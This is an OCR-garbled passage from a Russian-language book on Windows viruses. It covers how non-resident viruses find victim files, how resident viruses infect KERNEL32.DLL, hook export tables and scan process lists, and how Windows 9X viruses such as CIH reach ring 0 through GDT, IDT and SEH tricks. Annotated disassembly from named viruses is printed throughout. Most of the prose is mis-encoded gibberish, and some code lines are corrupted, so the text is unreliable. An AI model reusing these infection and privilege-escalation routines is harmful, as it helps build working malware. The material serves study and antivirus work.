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4.3.5. HepesnpeHTHbIe BUMPYChI

B 32-6uroBbix Bepcusix Windows BO3MOKHOCTD TIOHMCKa (hailyioB U
Karajoros peanusyerca nocpezactsoMm (yukuuil «FindFirstFile» wu
«FindNextFile», sxkupyunx B 6ubmoreke «KERNEL32.DLL». Pesyib-
taT ux paboTbl Bo3Bpaliaercs B pabodeil obacTu pasmepom 313 GaiiTos,
UMEIOIIEl CIEYIONIYI0 CTPYKTYPY:

dwFileAttributes dd ? . ATpubyTbl daiina

ftCreationTime dd 2 dup(?) ; Bpemsi/pnaTa cospaHus daina
ftlLastAccessTime dd 2 dup(?) ; Bpewmsi/naTa nocneaHero mocTyna K ¢anny
ftlastWriteTime dd 2 dup(?) . Bpema/pnata nocnegHero o6HoBneHus daina
nFileSizeHigh dd ? ; CTapuue 4 6aiiTa anvHbe daina
nFileSizelow dd ? . Mnapuve 4 6arTa anuHbe Ganna
dwReserved0 dd ?

dwReservedi dd ?

cFileName db 255 dup (?) ; "[lnuHHoe" uma odaina

cAlternateFileName db 14 dup (?) ; "KopoTkoe" umsa ¢aiina B ¢opmaTe "8.3"

Bor npumep koma npuMutusHoro supyca Win9X.Lud.Hill.401, ze-
MOHCTPUPYIONIHII TEXHOJIOTUHU TOUCKA «XKEPTB» B TEKYIIIEM KaTaJIOTe:

004011B4 lea eax, [ebp+10h] . Anpec paboyeir obnacTu
004011B7 push eax
004011B8 1lea eax, dword_40132A[edi] . Anpec macku . EXE

004011BE push eax
004011BF call dword ptr ds:loc_40130E[edi] ; 0O6pauerue k FindFirstFileA
004011C5 mov [ebp+0], eax

004011C8 cmp eax, -1 ;. Oumbka?

004011CB jz short loc_4011E4 . 3akoH4uTb paboTy Bupyca
004011CD loc_4011CD

004011CD call sub_4011F0
004011D2 1lea eax, [ebp+10h]
004011D5 push eax

004011D6 mov eax, [ebp]
00401109 push eax . XoHAN noucka

004011DA call dword ptr ds:loc_401312[edi] ; 06pauerue k FindNextFileA
004011E0 or eax, eax
004011E2 jnz short loc_4011CD
004011E4 loc_4011E4:

Bbi3oB npouenypsl 3apaxeHus
; Anpec paboyeir obnacTu

Mpouenypa 3apaxeHns
BosspaT ynpasneHus “xeptse”

0040130E dd 0BFF77893h . Appec FindFirsFileA B Windows 95
00401312 dd 0BFF778CBh Anpec FindNextFileA B Windows 95

0040132A db "+ EXE", 0

KcraTu, aTuMu TeXHONOrnsMY 00s13aH BJIaJIETh HE TOJBKO BUPYCONUCa-
TeJlb, HO 1 aBTOP 32-6MTOBOIO aHTUBUPYCHOIO CKaHepal

HepesunenTubix Bupycos, 3apaxaioniux PE-daiinbl, 10BosbHO MHOTO.
Kak u B ciyyae ¢ Bupycamu st MS-DOS, 60J1b11y10 4acTh UX COCTaB-
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JISIIOT «CTy/leHYeCKue» pa3paboTKU, TO €CTh MEPBbE U eMHCTBEHHbBIE B
JKU3HU aBTOPOB BUPYCHI, HAITMCAHHBIE UMM JIJIST «CAMOYTBEPXKACHUI >, 1
GoJrbiiie HY Jist yero. Kak nmpasuiio, OHU UIIYT HEH IS 3apaskeHust B Te-
KYIIIEeM KaTaJjiore, 1 BepOSITHOCTb UX PACIIPOCTPAHEHUS 32 MIPE/IEJIbl 3TOTO
karasora (a TeM GoJiee ¢ MAIIMHbI Ha MAIIUHy ) OJIM3Ka K HYIIO.

Horakske cpesiu Hepe3uieHTHBIX BUPYCOB BEJIUK IIPOIIEHT BeCbMa CJI0K-
HBIX TIPOTPAMMHBIX KOHCTPYKITUH, OCYIIECTBIISIONNUX TMOUCK <XKEPTB»
PEKYPCUBHBIM MTOMCKOM I10 JAUCKY. B ortsnuume ot cBonx MS-DOS-«co-
GpaTheB», OHNU B TIPOTIECCE CKAHMPOBAHIS ANCKA TIOYTH He 3aTOPMasKIBa-
10T paboTy CUCTEMBI B IEJIOM, TaK KaK B YCJIOBUAX BBITECHSIONIEH MHOTO-
3aJaYHOCTH YIIPaBJIeHNE PETYISIPHO TEPEXOIUT OT OHOTO IPOTPAMMHOTO
TOTOKA K /IPYTOMY uepe3 KOPOTKUI BpeMeHHOH KBaHT. B aToii cutyanuu n
MBIIITb «GeTaeTs, ¥ KIABUIIN «HAKIMAIOTCsT». KeTath, a Bbl 3HaeTe, CKOJTb-
KO BPEMEHHU YXOAUT Ha MOJHOe CKAHNPOBAaHNE aHTUBUPYCOM MHOTOTHTA-
GaiiTHoro mucka? [ecsatku MuHyT u dacel! Bupyc, koHeuno, cebe takoe
MO3BOJUTH He MOkeT. OH I OPTAHU30BBIBAET CeOsT B BUIE OTAETHLHOTO
notoka (9ToT npueM GyeT PACCMOTPEH TO3Ke), WU OPAaHUYMBAETCS
CKaHMPOBAHNEM JIUIIHh YaCTH JlepeBa KaTaloros. B yacTHOCTH, aBTOpaMn
«Search»-BUpYCOB HEpEKO TPUMEHSIETCST «METOJ TPENOIPEIEIEHHOTO
MECTOII0JIOKEHUS JKEePTB», B COOTBETCTBUY C KOTOPBIM IIOMCK U 3apaskeHne
BBITIOJTHSIOTCST HE TT0 BCEMY ANCKY, & TOMBKO B Kataymorax «C:\Windows»
1 «CA\WINNT», rjie 1o yMoJr9aHUIO PACIIOJIOKEHO MHOXKECTBO CTAH/IAPT-
HBIX CUCTEMHBIX YTHINT. Takum 06pasoMm, mogo0Hble BUPYCHI Cpasy k-
IIyTCS ¢ TPUIIEJIOM Ha «pacliojizanue» 1o mammHe. VIHTepecHo, 3aueMm,
Be/Ib CHUCTEMHbIC YTUJIUTDLI IIPAKTUYECKNU HUKOI/IA C OJHONH MalIMHBI Ha
NIPYTYIO HE KOMUPYIOTCS?

4.3.6. «Pe3npgeHTbl» 3-ro KoJsibL,a 3aLliuThbl

CTtporo roBopsi, TEpPMUHBI «Pe3UAEHTHBIN» 1 «TPAH3NEHTHBIN» («Hepe3n-
JIEHTHBIW» ) TIPHEMJIEMbI TOJIBKO TOT/IA, KOT/Ia Peub HeT 00 0[HO3a[auHbIX
OTIepaIlMOHHBIX cHcTeMaX. TeM He MeHee ITPU PAaCCMOTPEHNN KOMITbIOTep-
HBIX BUPYCOB, PACIIPOCTPAHEHHBIX B MHOT033/[a4HBIX OTIePAIIOHHBIX CH-
cTemMax, 9STUME TEPMUHAMU MO-TIPEKHEMY YI0OHO TT0JIb30BAThCSL.

«Pe3uzentHoit» B MHOTO33/Ia4HOI Cpe/ie JIETKO MOJKET CTaTh Jiobast
3allylleHHas, a [10cJie 9TOTo 3allUKIeHHas [IPOrPaMMa, B TOM YUC/Ie U BU-
pycHast. [IpobsieMbl «3acTpeBaHMsI» IPOrPAMMBI B TAMSITH 1 PETYJISIPHOTO
[I0oJIy4eHus el yrpas/ieHys [IPU 9TOM pelllaloTcs aBToMatuyecku. Bupycy
HEOOXOIMMO TOJBKO MMETH BO3MOKHOCTD KaKMM-THO0 06pazoM oOHapy-
JKUBATDh LIEJIU Ul 3apakeHus. PaccMOTpUM HECKOJIBKO TUIIOBBIX CXeM,
WCTIONTBb3YEMBIX JIJISI 3TOTO aBTOPaAMU BUPYCOB.
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4.3.6.1. Bupycot — asmonomHnbvle npoueccol

ITpotite Bcero He n306peTaTh HOBBIX BETOCUIIEOB C KBaIPATHBIMU KOJIE-
CaMH, a BOCIIOJBb30BATLCST XOPOIIO U3BECTHBIMU CPENCTBAMH, TPUMEHSIe-
MBIMU B HEPE3UAECHTHBIX BUPYcaX, a uMeHHO pyHKiamu «FindFirstFile»
u «FindNextFile». Hanpumep, snamenutsiii Bupyc Win32.Funlove.4070,
CTapTOBAB U3 3aPAKCHHON IPOrPaMMBbI, HUYTOXKE CyMHSIIIIECS BBITPY>KaeT
cebs1 Ha ek B Bue iporpaMmmuoro daitna «FCNTL.EXE» u sanyckaer
€ero Ha ucnoJinenve. Bupycubiii KoJi, cojep:kaiiuiicst B atom aiisie, mpo-
BepsieT, MOJIYYUJI JIU OH YIIPABJIEHNE KaK YaCTh 3aPaKeHHON MPOrpaMMbl
WJIN KaK CaMOCTOSITEIbHOE TIPUJIOKEHUE, U BO BTOPOM CJIydae MpoCTO BU-
CHUT B TIAMATH ¥ B GECKOHEYHOM IUKJIE MTPU MOMOIIH (DYHKIHIT TOMCKa
PEKYPCHUBHO CKaHUPYeT Bech AUCK. [IpocTeHbKO 1 O BKYCOM, He TaK Jin?

4.3.6.2. <ITonypesudenmnvie> eupycol

Bupyc aroro tumna mnpu momotu cepsuca «CreateThread» peructpu-
PYET MPOIEAYPY CKAaHUPOBAHUS IUCKA KAK OT/ICTHHBIN BBIYHCIUTETHHBIN
HOTOK, paboTaIIUi apalieJbHO ¢ IOTOKaMU 3apaskeHHOU IPOrPaMMBL.
Pasymeercst, 5TOT 3JI0BPEIHbIN TTOTOK «KHB» POBHO CTOJIbKO BPEMEHH,
CKOJIBKO paboTaer 3apaskeHHas IporpaMMa, W 3aBepllaeT CBOIO paboTy
BMecre ¢ Heit. OaHako npeicrasbre cede, YTO HOA0OHBINA BUPYC CTapTOBAJ
n3 3apaxkenHoi mporpamMmbl « WINWORD.EXE», koTopyio B TUITMYHOM
cilydae TMoJIb30BaTeb 3allyCKaeT B Hadajie pabodyero JHS W 3aBepiiaeTt
TOJIKO BEYE€POM. JKCIIEPUMEHTBI MTOKA3bIBAIOT, YTO YK€ YEPE3 5 MUHYT
«3260J1eBAIOT> MHOTHE JECATKU IPOrpaMMHbIX (haiiioB Ha JUCKe, a IpU-
MEPHO Yepe3 Jac MallliHa OKa3bIBAETCsI 3aBUPYCOBAHHOM TTOJTHOCTHIO!
CaMOopasMHOKAIOIIUXCS IIPOIPAMM, MCIHOJIB3YIOMIMX IIOA00HYIO TEXHO-
Joruto, ObLIO0 HammcaHo Hemano (Hanpumep, Win32.Rainsong.3891,
Win32.Resur, Win32.Yonga.2384, Win32.Saynob.2406 u mpoune).
OnHu B HeoDUIIMANBHOI BUPYCHOU TaKCOHOMUM Jajke 00pasoBai OT-
JEJIbHBIN KJIACC «NOMYPe3UOCHMHbIX> BUPYCOB.

4.3.6.3. Bupycol, 3apaxcarowue cmanoapmmote
xomnonenmot Windows

Eite ofui 10BOJIBHO pacIipoCTPAaHEHHBII [TOIX0/] 3AKJII0YAETCST B TOM,
4TO 3apPasKAETCS Kakasg-HUOY/b CTaHAapTHAS JMHAMUYECKas GubmoTeka
(nanpumep, «KERNEL32.DLL») uau ciyskebHoe npusioskenune (Harpu-
Mmep, «EXPLORER.EXE»), aBisioniuecst 4acTbio ONEPAIIMOHHON CUCTe-
Mbl. Tak moctynaior Win9X.Lorez.1766.a, Win9X.Yurn.1167, Win9X.
Dodo.1022, Win32.Beef.2110 u npoune. Bot, Haripumep, 4T0 BBITBOPSI-
et Win9X.Lorez.1766.a ¢ nunamuueckoii 6ubanorexkoit « KERNEL32.
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DLL». Crauana on xommpyer 6ubanoreky us «C:\Windows\SYSTEM»
B «C:\Windows» 1 Bce pajbHeillire onepaluu IPOU3BOAUT C KOIHEH.
3atem on craBut B moje «PointerToSymbolTable» PE-3zaromoska ynu-
KaJIbHYIO METKY, 4TOOBI B Ja/IbHEIIIEM OTJIUYATh 3apakeHHble Gubmo-
TEKHU OT <«3JI0POBBIX». Beiesl 3a 3TUM BUPYC PACITUPSIET CEKIUIO «.ISIC»
Ha 4096 GaiiTos (He 3a0bIB cKOppekTHpoBaTh 1oJe «SizeOflmage» B PE-
3arosioBke u nouis <«VirtualSize» n «SizeOfRawData» B Tabiuiie cek-
1uii), 3a04H0 U3MeHUB OuToBbIe (paaru moctyna K Heil ¢ 40000040h na
E0000040h. ITorom Bupyc BrmcbhiBaeT cebst B 06pasoBaBlieecs MyCToe
[IPOCTPAHCTBO ¥ U3MeHseT B Tabjuile aKcrnopTa 6GUOJIMOTEKN CChIIKY Ha
dyurumio «GetFileAttributesA» Tak, 4ToObI OHa yKasblBaja Ha BUPYC-
HbIH Kozt CMOTpHTE, BOT CIOJIa CChLIAETCsS TabJIMIa SKCIIOPTA B <«3/10PO-
BOI» OubmorTeke, Bxoaduieil B cocra Windows 95:

; Hawano ¢yHkumm "GetFileAttributesA”

BFF7786C 57 push edi
BFF7786D 6A21 push 021
BFF7786F 2BD2 sub  edx, edx

A B 3apaskeHHOU KOUU GUOJHOTEKH 9Ta JKE€ CCHLIKA BEIET COBCEM B
IPYTOe MECTO:

BFFD7979 dd BFF7786C

; Hawano BupycHoro koga Win9X.lLorez.1766.a

BFFD7F2D 9C pushfd

BFFD7F2E 50 push  eax
BFFD7F2F 53 push  ebx
BFFD7F30 51 push  ecx
BFFD7F31 52 push  edx
BFFD7F32 57 push  edi
BFFD7F33 56 push  esi
BFFD7F34 55 push  ebp
BFFD7F35 E800000000 call . 0BFFD7F3A
BFFD7F3A 5D pop ebp
BFFD7F3B 81ED42154000 sub ebp, 000401542
BFFD7F6B 5D pop ebp
BFFD7F6C 5E pop esi
BFFD7F6D 5F pop edi
BFFD7F6E 5A pop edx
BFFD7F6F 59 pop ecx
BFFD7F70 5B pop ebx
BFFD7F71 58 pop eax
BFFD7F72 9D popfd

BFFD7F73 FF257979FDBF jmp [0BFFD7979]
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OGparute BHUMaHUE Ha TI€PBble KOMaHjbl Bupyca (OnpejeeHme
«JIeJIbTa-CMETIeHUST» ) 1 Ha TIOCJIETHIO KOMaH/y BUPYCHOTO (hparMeHTa
(BO3BpAT yIpaBIeHUs «Ky/a TTOJ0KeHO» ). Kitaccuka, He paBia jim?

Bor u Bce, ocTamoch NoKIaThCs Tepesarpysku, 1 Windows momecTur
3apakeHHYIO KOTHIO GUOIMOTEKN B apecHbie TTPOCTPAHCTBA BCEX TMTPO-
rieccoB. COOTBETCTBEHHO, BUPYC HAYHET TEPEXBATHIBATH OOPAIEHUS K
[IPOrpaMMHBIM (haiiiaM U 3apasKaTh UX 110 MEPE CBOETO JKEeJIAHUS 1 CBOUX
BO3MO>KHOCTEH.

Boobiite, rosioBHast 60JIb I BUPYCOB TOA00HOTO THUIIA — KaK MOJH-
duruposath daitn «KERNEL32.DLL», seapr Windows Jro00ii Bepcuu
3amuiaeT (haiIbl UCTOMHIEMBIX TIPOTPAMM U 3aTrPYKEHHBIX GubIM0-
Tek oT 3amucu (HO He OT KomupoBanust). OnUH U3 CIIOCOGOB PEIICHU
1pobJIeMbl yiKe TIPOIEMOHCTPUPOBaH Bbilile Ha rpuMepe Bupyca Win9X.
Lorez.1766.a, apyroii (npurogubiii Tonbko aiusg Windows 9X) cocrour
B TOM, YTOOBI, CO3/IaB U MOAUDUINPOBAB KOO, PA3MECTUTh B KATAJI0-
re «C:\Windows» crienmasibtbiii koHburypanuonubiii paita « WININIT.
INI» mpuMepHO BOT ¢ TaKUM CO/IEP;KIMBIM:

[Rename]

NUL=C: \Windows\SYSTEM\KERNEL32.DLL
C:\Windows\SYSTEM\KERNEL32.DLL=C: \Windows\SYSTEM\KERNEL32. VIR

Bo BpeMst 3arpysKu oreparmoHHON CUCTEMbl OYyT BHIIIOJHEHbI YKa-
3aHHbIe B (aline <«mepectaHoBkuy, nocae yero « WININITINI» ¢ mpo-
TUBHBIM XUXUKaHbEM CaMOYHUYTOKUTCA. BbI, HaBepHOE, ImoaAyMaJn, 4To
ATOT MEXAHU3M CTIEIMATbHO BRII0YeH B Windows 1utst 061eraeHust JKU3H!
Bupyconucarensm? Hert, on ajgpecoBan aBTOpaM HHCTAJLISIIMOHHBIX IIPO-
rpamMM.

4.3.6.4. Bupycwot, ananusupyrowue Cnucox npoueccos

He ouenb yacTo UCIob3yemast, Ho 04€Hb JIIOOOTIBITHAS TEXHOJIOTHS TT0-
HCKa BUPYCAMU JKEPTB 3aKJIIOYAETCST B TOM, YTOOBI, OCTABIINCH B TAMSITH
OJIHUM 13 PACCMOTPEHHBIX BBIIIIE CIIOCOOOB, OIUH Pa3 3allOMHUT, a IOTOM
PETYJISIPHO CKAaHUPOBATH CIIMCOK BBITTOJHSIIONIUXCST B CHCTEME TTPOIECCOB
(kak 910 genmaercs, OyZeT PacCMOTPEHO HuKe). B aToMm crmcke mpucyr-
CTBYIOT UMeHa (hailioB, U3 KOTOPHIX CTApTOBAJIN TpoIiecchl. Ecan oauH
W3 TIPOTIECCOB MCUYE3aEeT U3 CITMCKA, TO ATO 3HAYUT, YTO OH 3aBEPITUICH, 1
COOTBETCTBYIONINH (haiisl MOKHO 3apakaTh. Tak TOCTymaroT, HAITpUMep,
supycbl Win9X.Yabran.3132 u Win9X.Tecata.1761.

BoJiee mpoaBUHYTast «TEXHOIOIHSI» 3aKJII0YAETCs B TOM, YTOOBI, MOy~
YUB CITMCOK BBITIOJHSTIONTUXCST TPOIIECCOB, BHEAPSITHCS B UX /IPECHOE ITPO-
CTPAHCTBO, IlepexBaThiBas 00palleHus K OlepalioHHoii cucreme. ITono6-
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HBIM 00pa3oM, HallPUMep, BeAyT cebs MHOTOUYKMCIIEHHBIE PA3HOBUIHOCTH
Bupyca Win32.Virut, mojiyduBIiiiero paciupocTpaHeHue B KOHIIE TIEPBOTO
necsruierust XX1 Bexa. Onu npu momoinu «CreateToolhelp32Snapshot»
JIEJIAI0T «CHUMOK» CITMCKA MPOIECCOB B MAMSITH, OTKPBIBAIOT UX TIPH T10-
moriu «OpenProcesss, 3aIlyCKaOT BHYTPH HUX BUPYCHbBIE TOTOKU TIPH T10-
Mo «CreateRemoteThreads, nepexsarsiBaior B «<NTDLL.DLL»> dyHk-
uu «NtCreateFile» u «NtCreateProcess» 1 3apaskatoT IpaKTHYECKH BCe
IPOrPaMMBI, K KOTOPBIM ITPOUCXOUT oOpailieHue B ceance paboThbi.

4.3.7. «<PeanpeHTbl» 0-ro Konbua 3awWuThbl

Boobiie roBopst, st 110J1b30BaTeIbCKON mporpaMMbl B Windows ectb
TOJIBKO OJIMH JIETAJIBHBII C1IOCOO TPOHUKHYTH B (-€ KOJIBIIO 3aI[UThI — He-
06x0UMO OBITH cHCTEMHBIM fpaiiBepom. Tem ve meree B Windows 9X (Ho
ne 8 Windows NT!) cyiiecTByI0T 06XO0{HbI€ Iy TH, II03BOJISAIONIUE JI0OOMY
MIPUJIOKEHIIO 3-TO KOJIBI[A TIOJIYYUTh «BOJIIIEOHbIE TpUBUIerun» !, Takum
06pa3oM, MPaKTUYECKH BCe, 0 4eM OyJIeT UATH PeYb B 3TOM pasjielie, OT-
Hocurest uib K Windows 9X.

4.3.7.1. Ilepexoo 6 0-e Koavyo 3awumor Memooom
co30anus coOCmMeeHHbIX WNH0308

¥ aroro meroza MHOXKeCTBO MoAM(pUKALUN, HO AaJeKO He BCe OHU
BCTpeYaroTcs B BUpycax. PaccMoTpruM MeTo 1 Ha TpuMepe JIeCTBUH, TIpesi-
MPUHUMAEMbIX Uit Tiepexonia B 0-e KoJbIlo 3amuThl Bupycom Win9X.
Yabran.3132. TlepBbIM [eJIOM BUPYC YUTAET TEKYIEe COAEPIKUMOE pe-
ructpa GDTR:

sgdt [ebp+00040212E] ; Burpyska B namsaTb peructpa GDTR

Bupyc obpamiaercs K 1epBomy Iomnasiunemycs geckpunropy 8 GDT, co-
XPaHSET ero cTapoe 3HaueHue ¥ MOAUMUIUPYET TaKUM 06Pa3oM, 4TOOBI
TOJTYIHJICS TILTIO3.

; B EAX - appec nnaHupyemoi TO4ku nepexopa

push eax
mov eax, [ebp+000402130] ;. Anpec GDT
add eax, 008 ; CMeweHve nepBOro nonaslerocs

;. JeckpunTopa

! Ha camom nese B Windows NT Takue «IbIpbl» TOKe MHOTA BCTPEYAIOTCS, HO
oHU 0a3MPYIOTCS HE HA CTAOMJIBHBIX aPXUTEKTYPHBIX OCOOEHHOCTSIX OIepaIy-
OHHOIi CHCTEMBI, & HA BPEMEHHO CYLIECTBYIOMIUX OIIMOKAX MPOrPaMMHUCTOB
dbupmbr Microsoft.
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. OdparMeHT coxpaHeHus geckpuntopa (nponyueHo)

; NpeobpasosaHue AeckpunTopa B W03

mov bx, [ebp+00040211A]

mov [eax+02], bx ;. CenexTop

mov word ptr [eax+04], 0ECO0ON . ATpubyThl

pop ecx ; Anpec Toyku nepexona
mov bx, cx

shr ecx, 010

mov [eax], bx

mov [eax+06], cx

mov dword ptr [ebp+000402134], ebx ; Mnapwas 4acTb agpeca
mov dword ptr [ebp+000402138], ecx ; CTapwas 4acTb aapeca

Haxowerr, BUpycC BBITIOJHSIET JAAbHUIN TIEPEXO]] TI0 TTOJTYIUBIIEMYCS
HLII03Y IPU TIOMOIIU 00braHON KoMan bl «CALL».

cli
call fword ptr [ebp+000402134]

B pesysbrate ympasienue mosaydaer (pparMeHT TOTO JKe BUPYCa, TOJb-
KO TIPUBUJIETMH Y HTOTO KOJIa yKe cooTBeTcTBYIOT 0-My Kosbily. Keraru,
B Windows NT 3T0oT BUPYC HATOJIKHETCS HA HEBO3MOKHOCTh MOAM(IKA-
IIUU IECKPUTITOPOB.

4.3.7.2. Ilepexoo 6 0-e Koavbuo 3auiumol NOOMeHOU
ob0pabomuuxa uckmouenuu

ITOT METOJ[ CTAJI OYEHD HOIYJISAPHBIM CPEIM BUPYyCOTIHcaTeieil moce
mupoBoit snugemun Bupyca Win9X.CIH 8 1998—1999 rr. Ou 6bL1 mpak-
THYECKH OafiT B GafiT BOCTPOM3BEIEH BO MHOTHX IECATKAX (& MOJKET OBITH,
1 coTHsx!) BUPYCOB, HAITMCAHHBIX <110 06pasy u nopobuio» ero. He Gynem
JAJIEKO XOUTh, & U3YIUM HAYAJIbHbIE (DPATMEHTBI «<OPUTUHAIAY:

push ebp

lea eax, [esp-0008] . Anpec obnacTtu B cTeke

xor ebx, ebx . ebx:=0

xchg eax, fs:[ebx] . Tenepb fs:[0] ykaswiBaeT Ha 3Ty 00nacTb
call $+5 ;. Boiyucnenve. . .

pop ebx ;... AenbTa-CcMmeleHns

lea ecx, [ebx+00042] ; Anpec HoBoro SEH

push ecx ; 3anonHuTbL 0bnacTb B CTeke. ..

DUSh eax y .. .HOBbIMKM 3HAYEHUAMN

[Tocsie BBITIOMHEHMS HTOTO (PparMeHTa paiioH MaMsATH, B KOTOPOM pac-
[I0JIOJKEH CTEK, OyAeT copepKaTh cieiyiomye qarnbie (cM. tab. 4.10).
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Tabnuya 4.10. Crek «4epHO6bIILCKOro» BUpyca

CwmelyeHune 3HauyeHue MpumeuyaHne
ESP EBP

ESP-4 Appec ctaporo SEH

ESP-8 Appec HoBoro SEH | Cioga ykasbiBaeT FS:[0]

ITocKOMBKY CTEK «pacTeT BHU3», TO JOCTATOYHO TIEPEBEPHYTH 9Ty Tab-
JINYKY BBEPX TOPMAIIKaMH W YBUIETh, YTO (DParMeHT CTEKOBOII MaMsITH,
HaumHatonmiics ¢ ajgpeca [ ESP+8], o cBoemy conmep:kumomy odyeHb Ha-
moMUHaeT Havasro Kakoii-to TIB. Bce mpaBuibHO, UMEHHO B 9TOU POJTH
OH B jlajibHelieM u GyneT ncmoib3oBathest! VITak, MepBBIM I€T0M BHU-
pyc B3I Ha cebst 00pabOTKY MCKIIOUNTENbHBIX cuTyanuil. 3auem? [leso
B TOM, YTO HETIOCPE/ICTBEHHO BCJIE/l 32 TUM OH IBITAETCS MOANUDUIIN-
posarb cucreMuyto IDT, uroObl B3ITh Ha cebst Takke emre U 06paboTKy
npepbIBaHus HOMep 3 (MoamdUKAIMA TeCKPUIITOPA BO3MOXKHA TOJBKO
B Windows 9X). Cmorpure:

push eax

sidt [esp-0002] ; Appec IDT - B cTek
pop ebx

add ebx, 01Ch

cli

;. JleckpunTop 6-06aiTOBHI, M MOAUGULMPYETCH OH MO YacTaMm
mov ebp, [ebx]

mov bp, [ebx-0004]

;. BhinonHaeTca agpecauus Ha HOBbIA 00paboTynk
lea esi, [ecx+00012]

push esi

; BnuceBaeTca 1-4 nonosuHa appeca

mov [ebx-0004], si

shr esi, 010

; 3aTem BTOpas

mov [ebx+000027, si

pop esi

Terepb I0CTATOYHO WHHUIIMUPOBATH BBI30B IPEPBIBAHIST KOMAHIOM
«INT 3», u ynpaBjieHue HOJIyduT BUPYCHbBIE 06PabOTUHMK HTOTO IIPEPbIBa-
Hust. TOMBKO BOT BBITIOJIHATHCS 3TOT 00paboTuuk OyzieT yike B 0-M KOJIbIle
3AIMUTBI, @ 3TO 3HAUUT, YTO BUPYC TIOJYUUT HEJOCTYITHBIE €MY TIPEKIE CH-
creMHbIe TpuBIIIeriy, KetaTu, MOKET MOKa3aThCsl CTPAHHBIM, 4TO aBTOP
«YepHOOBLISI» I0BOJILHO 3aMBICJIOBATO MAHUITYJIUPYET CO CTEKOM, BMECTO
TOTO 4TOOBI TPOCTO CHOPMUPOBATH HYKHYIO CTPYKTYPY JAHHBIX B OOBIU-
HBIX TIePEMEHHBIX. J[€J10 B TOM, 4TO JIaHHBIN (hparMEHT BUPYCA BBITIOJIHSI-
erca B obmactu PE-3aroioBka u, cJiesioBaTeIbHO, MUCATh B «OOBIYHYIO>
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namsaTh He Moxer. OueHb HEMHOTHE «IOJpaxkaTesiny (HAIPUMED, aBTOP
supyca Win9X.Sign.2028) o6pariiu Ha 5T0 BHUMAHUE W MOTBITAIUCH
XOTs1 ObI Yy Th-4yTh YIIPOCTUTH U ONITUMU3UPOBATH «4ePHOOBLILCKIN» aJi-
rOpUTM, GOJIBITUHCTBO JK€ CKOIMPOBAJIM €r0 B CBOU BUPYCHI, HE BHUKAs
B CYTb.

Wrak, BUPYC BOIIEN B IPUBUJICTHPOBAHHBINA PEKUM U TETIEPb BPojie Obl
MOJKET JIEJIATh BCe, YTO XOUET: 0OPAIATLCS Ha UTEHIE U 3aMUCh K JIIOOBIM
dparmeHTaM (hU3UYECKON MAMATH W K JIIOOBIM MOPTaM BBOJA-BBIBOJIA.
Ho a0 ke 00CTOSITEIbCTBO 3/I0POBO YCJIOKHSIET BUPYCY KU3HD. Tenepb
eMy HeIIOCTYITHBl MHOTOUMCJIEHHBbIEe cepBUCHBIe (hyHkimu Win32 API,
OH BBIHYK/IEH HATIPSIMYTO 0OPAIaThCst K CTOKHEHTINM U abCOTIOTHO He-
JNOKYMEHTHUPOBAHHBIM HU3KOYPOBHEBBIM CEPBHUCAM sIJIpa OTIEPAIINOHHOI
CHCTEMbI, YUUTHIBASI «JIOCKYTHOEe» paszesenne hu3niecKoil mamsaTH Ha
crparuiibl. U epBbIM 1€710M Pe3uIeHTHOMY BUPYCY HYKHO PEITUTD IIPO-
GJIEMY OT/IETIEHTISI CBOETO TeJIa OT TIPOTPAMMBI 3-TO KOJIBITA 3aIUTLI U Pas-
MEII[eHUsI eT0 T/Ie-TO B <YKPOMHOM YTOJIKE» OTI€PATUBHON TTAMSITH.

4.3.7.3. Hncmannsyus 6 neucnoavzyemovie oydepor VMM

«PanHue» BUPYCHI, HaMCaHHbIe B 9110Xy Windows 95, 10BOJIbHO YacTo
MIPUMEHSITH ATOT MTPOCTOH CIOCOO YCTAHOBKY CBOETO TeJia B MaMATh. [Ipn
obcyskaeHnn pacipeenenus namat B Windows 9X Mbl yIIOMUHAJIH, UTO
4acTh «CIyKeOHbIX» oOmacreil mamaTu ¢ agpecamu Bbime 0C0000000h
MPUHAJICKUT AJIPECHBIM TPOCTPAHCTBAM BCEX TPOIECCOB U TIPHU ATOM
He 3alfileHa OT 3amnicu. B 4acTHOCTH, r7e-To HemojasleKy OT ajapeca
0C0001000h meHemxkep BUPTYyalbHbIX MALIMH pasMellaer cBou Oydepsl
[UIsI BpeMeHHbIX Manubix. Hewucriosnbayembie (TOulee, TIOKA ellle He UC-
noJib3oBauubie!) Oydepst sanosaerst kogoM 0FFh. Bot kak mpumensiercst
3T0 06cTOsITENIbCTBO B BUpyce Win9X.Harry.a.

mov edi, 0C0001000h . CTapToBbIl aapec Ans noucka

mov eax, 0000000FFh . Wckombiin Kop,

mov ecx, OFFFFFFFFh . [nvHa obnacTtu ang noucka (He MHOToBaTo nu??7?)
repne scasb ; COOCTBEHHO MOWCK

lea esi, [ebp+402002] ; CtapToBHIl afpec Bupyca

mov ecx, 0000008C2 . [nvHa Bupyca

repe movsh ; CoOCTBEHHO KomuposaHue

IMongTHO, 4TO Kak TOJAbKO saapy Windows 1moHago0sTes 3aHsaThie KO-
JIOM BUpyca 06JacTh, cucteMa HeMeIJIEHHO pyxHeT. TeM He MeHee 3TOT
MaJIOHAJIE/KHDBII METOJl MHCTAJISAIIUY B TAMATH UCTIOAb30BAJICS BO MHO-
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rux Bupycax, Haripumep B Win9X.Mark], Win9X.Anxiety. 1958, Win9X.
Julus.1890 u npounx.

4.3.7.4. Hucmannayus 6 ounamuuecku 6vloeasiemyto
cucmemHy0 namsamo

ITOT MeTOJ TakxkKe 00pes GOJBIIYIO HOMYJISPHOCTD «Oiarogaps» Bu-
pycy Win9X.CIH. Ho cam «UepHoObLIb> B TOI 4aCcTH, KOTOPast OTHOCUT-
€S K YCTaHOBKE B IIaMSATh, YCTPOEH HECKOJILKO 3aMbICIOBATO — COOMpaeT
CBOE TeJIO U3 OTAENbHBIX (hparMeHTOB, PasOPOCAHHBIX 110 3apakKeHHOU
porpamMMe, a JIJist 3TOTO HECKOJIBKO pas «CKavyeT» U3 3-TO KOJIbIla 3allln-
Tbl B 0-¢ 1 o6parno. Kopoue roBops, gaBaiite IpoULIIOCTPUPYEM METO/I
Ha IIpUMepe APyroro, GoJiee MpocToro U HeNPUTA3aTeJbHOIO BUPYCa, UC-
MOJIB3YIOMIETO Ty Ke uzaeo. Ilepex BamMu (hparMeHT KoJa «CaMOPa3MHO-
sKarolerocs Mexatnuamay 1o/ Haspanuem Win9X.Powerful .1773:

Boligenexune CTpaHuLbl CUCTEMHOM namsaTn
push 00Fh . buToBbe ¢narn ang ctpaHuu: 1 — 0OHYNEHHbE
. 2 - BHPOBHEHHbIE, . . .

. ...4 - HenpepbiBHHe, 8 - HeBbIrpyxaemse
